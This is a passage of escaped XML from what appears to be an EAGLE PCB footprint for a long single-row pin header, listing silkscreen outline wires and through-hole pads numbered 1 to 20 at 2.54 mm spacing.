y1=\"0.635\" x2=\"-27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" y1=\"-0.635\" x2=\"-28.575\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-28.575\" y1=\"-1.27\" x2=\"-29.845\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-29.845\" y1=\"-1.27\" x2=\"-30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.305\" y1=\"1.27\" x2=\"-27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-27.94\" y1=\"-0.635\" x2=\"-27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-26.035\" y1=\"-1.27\" x2=\"-27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-34.925\" y1=\"1.27\" x2=\"-33.655\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.655\" y1=\"1.27\" x2=\"-33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"0.635\" x2=\"-33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"-0.635\" x2=\"-33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.02\" y1=\"0.635\" x2=\"-32.385\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-32.385\" y1=\"1.27\" x2=\"-31.115\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-31.115\" y1=\"1.27\" x2=\"-30.48\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"0.635\" x2=\"-30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-30.48\" y1=\"-0.635\" x2=\"-31.115\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-31.115\" y1=\"-1.27\" x2=\"-32.385\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-32.385\" y1=\"-1.27\" x2=\"-33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"0.635\" x2=\"-37.465\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-37.465\" y1=\"1.27\" x2=\"-36.195\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-36.195\" y1=\"1.27\" x2=\"-35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"0.635\" x2=\"-35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"-0.635\" x2=\"-36.195\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-36.195\" y1=\"-1.27\" x2=\"-37.465\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-37.465\" y1=\"-1.27\" x2=\"-38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-34.925\" y1=\"1.27\" x2=\"-35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-35.56\" y1=\"-0.635\" x2=\"-34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-33.655\" y1=\"-1.27\" x2=\"-34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-42.545\" y1=\"1.27\" x2=\"-41.275\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-41.275\" y1=\"1.27\" x2=\"-40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"0.635\" x2=\"-40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"-0.635\" x2=\"-41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.64\" y1=\"0.635\" x2=\"-40.005\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.005\" y1=\"1.27\" x2=\"-38.735\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.735\" y1=\"1.27\" x2=\"-38.1\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"0.635\" x2=\"-38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.1\" y1=\"-0.635\" x2=\"-38.735\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-38.735\" y1=\"-1.27\" x2=\"-40.005\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-40.005\" y1=\"-1.27\" x2=\"-40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"0.635\" x2=\"-45.085\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.085\" y1=\"1.27\" x2=\"-43.815\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.815\" y1=\"1.27\" x2=\"-43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"0.635\" x2=\"-43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"-0.635\" x2=\"-43.815\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.815\" y1=\"-1.27\" x2=\"-45.085\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.085\" y1=\"-1.27\" x2=\"-45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-42.545\" y1=\"1.27\" x2=\"-43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-43.18\" y1=\"-0.635\" x2=\"-42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-41.275\" y1=\"-1.27\" x2=\"-42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.165\" y1=\"1.27\" x2=\"-48.895\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.895\" y1=\"1.27\" x2=\"-48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"0.635\" x2=\"-48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"-0.635\" x2=\"-48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.26\" y1=\"0.635\" x2=\"-47.625\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-47.625\" y1=\"1.27\" x2=\"-46.355\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-46.355\" y1=\"1.27\" x2=\"-45.72\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"0.635\" x2=\"-45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-45.72\" y1=\"-0.635\" x2=\"-46.355\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-46.355\" y1=\"-1.27\" x2=\"-47.625\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-47.625\" y1=\"-1.27\" x2=\"-48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.8\" y1=\"0.635\" x2=\"-50.8\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.165\" y1=\"1.27\" x2=\"-50.8\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-50.8\" y1=\"-0.635\" x2=\"-50.165\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-48.895\" y1=\"-1.27\" x2=\"-50.165\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"1.27\" x2=\"-0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.905\" y1=\"1.27\" x2=\"-2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"-0.635\" x2=\"-1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-1.27\" x2=\"-1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.905\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"0.635\" x2=\"2.54\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.635\" x2=\"1.905\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"0\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"4.445\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"1.27\" x2=\"5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-0.635\" x2=\"4.445\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"2.54\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.27\" x2=\"3.175\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"6.985\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"1.27\" x2=\"7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"0.635\" x2=\"7.62\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"-0.635\" x2=\"6.985\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"0.635\" x2=\"5.08\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"5.08\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-0.635\" x2=\"5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-1.27\" x2=\"5.715\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.27\" x2=\"9.525\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"1.27\" x2=\"10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-0.635\" x2=\"9.525\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.255\" y1=\"1.27\" x2=\"7.62\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.62\" y1=\"-0.635\" x2=\"8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.525\" y1=\"-1.27\" x2=\"8.255\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"0.635\" x2=\"10.16\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"1.27\" x2=\"12.065\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"1.27\" x2=\"12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"-0.635\" x2=\"12.065\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.795\" y1=\"1.27\" x2=\"10.16\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"10.16\" y1=\"-0.635\" x2=\"10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.065\" y1=\"-1.27\" x2=\"10.795\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"1.27\" x2=\"14.605\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"14.605\" y1=\"1.27\" x2=\"15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"0.635\" x2=\"15.24\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-0.635\" x2=\"14.605\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"0.635\" x2=\"12.7\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"13.335\" y1=\"1.27\" x2=\"12.7\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"12.7\" y1=\"-0.635\" x2=\"13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"14.605\" y1=\"-1.27\" x2=\"13.335\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"1.27\" x2=\"17.145\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"1.27\" x2=\"17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"-0.635\" x2=\"17.145\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.875\" y1=\"1.27\" x2=\"15.24\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-0.635\" x2=\"15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.145\" y1=\"-1.27\" x2=\"15.875\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"1.27\" x2=\"19.685\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"19.685\" y1=\"1.27\" x2=\"20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"0.635\" x2=\"20.32\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-0.635\" x2=\"19.685\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"0.635\" x2=\"17.78\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.415\" y1=\"1.27\" x2=\"17.78\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"17.78\" y1=\"-0.635\" x2=\"18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"19.685\" y1=\"-1.27\" x2=\"18.415\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.955\" y1=\"1.27\" x2=\"22.225\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.225\" y1=\"1.27\" x2=\"22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"-0.635\" x2=\"22.225\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.955\" y1=\"1.27\" x2=\"20.32\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-0.635\" x2=\"20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.225\" y1=\"-1.27\" x2=\"20.955\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"0.635\" x2=\"22.86\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"23.495\" y1=\"1.27\" x2=\"24.765\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"24.765\" y1=\"1.27\" x2=\"25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"-0.635\" x2=\"24.765\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"23.495\" y1=\"1.27\" x2=\"22.86\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"22.86\" y1=\"-0.635\" x2=\"23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"24.765\" y1=\"-1.27\" x2=\"23.495\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.895\" y1=\"1.27\" x2=\"50.165\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"0.635\" x2=\"46.355\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"46.355\" y1=\"1.27\" x2=\"47.625\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"47.625\" y1=\"1.27\" x2=\"48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"0.635\" x2=\"48.26\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"-0.635\" x2=\"47.625\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"47.625\" y1=\"-1.27\" x2=\"46.355\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"46.355\" y1=\"-1.27\" x2=\"45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.895\" y1=\"1.27\" x2=\"48.26\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"48.26\" y1=\"-0.635\" x2=\"48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"50.165\" y1=\"-1.27\" x2=\"48.895\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"41.275\" y1=\"1.27\" x2=\"42.545\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"42.545\" y1=\"1.27\" x2=\"43.18\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"0.635\" x2=\"43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"-0.635\" x2=\"42.545\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.18\" y1=\"0.635\" x2=\"43.815\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.815\" y1=\"1.27\" x2=\"45.085\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.085\" y1=\"1.27\" x2=\"45.72\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"0.635\" x2=\"45.72\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.72\" y1=\"-0.635\" x2=\"45.085\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"45.085\" y1=\"-1.27\" x2=\"43.815\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"43.815\" y1=\"-1.27\" x2=\"43.18\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"0.635\" x2=\"38.735\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.735\" y1=\"1.27\" x2=\"40.005\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.005\" y1=\"1.27\" x2=\"40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"0.635\" x2=\"40.64\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"-0.635\" x2=\"40.005\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.005\" y1=\"-1.27\" x2=\"38.735\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.735\" y1=\"-1.27\" x2=\"38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"41.275\" y1=\"1.27\" x2=\"40.64\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"40.64\" y1=\"-0.635\" x2=\"41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"42.545\" y1=\"-1.27\" x2=\"41.275\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.655\" y1=\"1.27\" x2=\"34.925\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"34.925\" y1=\"1.27\" x2=\"35.56\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"0.635\" x2=\"35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"-0.635\" x2=\"34.925\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"35.56\" y1=\"0.635\" x2=\"36.195\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"36.195\" y1=\"1.27\" x2=\"37.465\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"37.465\" y1=\"1.27\" x2=\"38.1\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"0.635\" x2=\"38.1\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"38.1\" y1=\"-0.635\" x2=\"37.465\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"37.465\" y1=\"-1.27\" x2=\"36.195\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"36.195\" y1=\"-1.27\" x2=\"35.56\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"0.635\" x2=\"31.115\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"31.115\" y1=\"1.27\" x2=\"32.385\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"32.385\" y1=\"1.27\" x2=\"33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"0.635\" x2=\"33.02\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"-0.635\" x2=\"32.385\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"32.385\" y1=\"-1.27\" x2=\"31.115\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"31.115\" y1=\"-1.27\" x2=\"30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.655\" y1=\"1.27\" x2=\"33.02\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"33.02\" y1=\"-0.635\" x2=\"33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"34.925\" y1=\"-1.27\" x2=\"33.655\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"26.035\" y1=\"1.27\" x2=\"27.305\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.305\" y1=\"1.27\" x2=\"27.94\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"0.635\" x2=\"27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"-0.635\" x2=\"27.305\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.94\" y1=\"0.635\" x2=\"28.575\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"28.575\" y1=\"1.27\" x2=\"29.845\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"29.845\" y1=\"1.27\" x2=\"30.48\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"0.635\" x2=\"30.48\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"30.48\" y1=\"-0.635\" x2=\"29.845\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"29.845\" y1=\"-1.27\" x2=\"28.575\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"28.575\" y1=\"-1.27\" x2=\"27.94\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"0.635\" x2=\"25.4\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"26.035\" y1=\"1.27\" x2=\"25.4\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"25.4\" y1=\"-0.635\" x2=\"26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"27.305\" y1=\"-1.27\" x2=\"26.035\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-49.53\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"-46.99\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"-44.45\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"4\" x=\"-41.91\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"5\" x=\"-39.37\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"6\" x=\"-36.83\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"7\" x=\"-34.29\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"8\" x=\"-31.75\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"9\" x=\"-29.21\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"10\" x=\"-26.67\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"11\" x=\"-24.13\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"12\" x=\"-21.59\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"13\" x=\"-19.05\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"14\" x=\"-16.51\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"15\" x=\"-13.97\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"16\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"17\" x=\"-8.89\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"18\" x=\"-6.35\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"19\" x=\"-3.81\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"20\" x=\"-1.27\" y=\"0\" drill=\"1.016\" shape=\"long\" 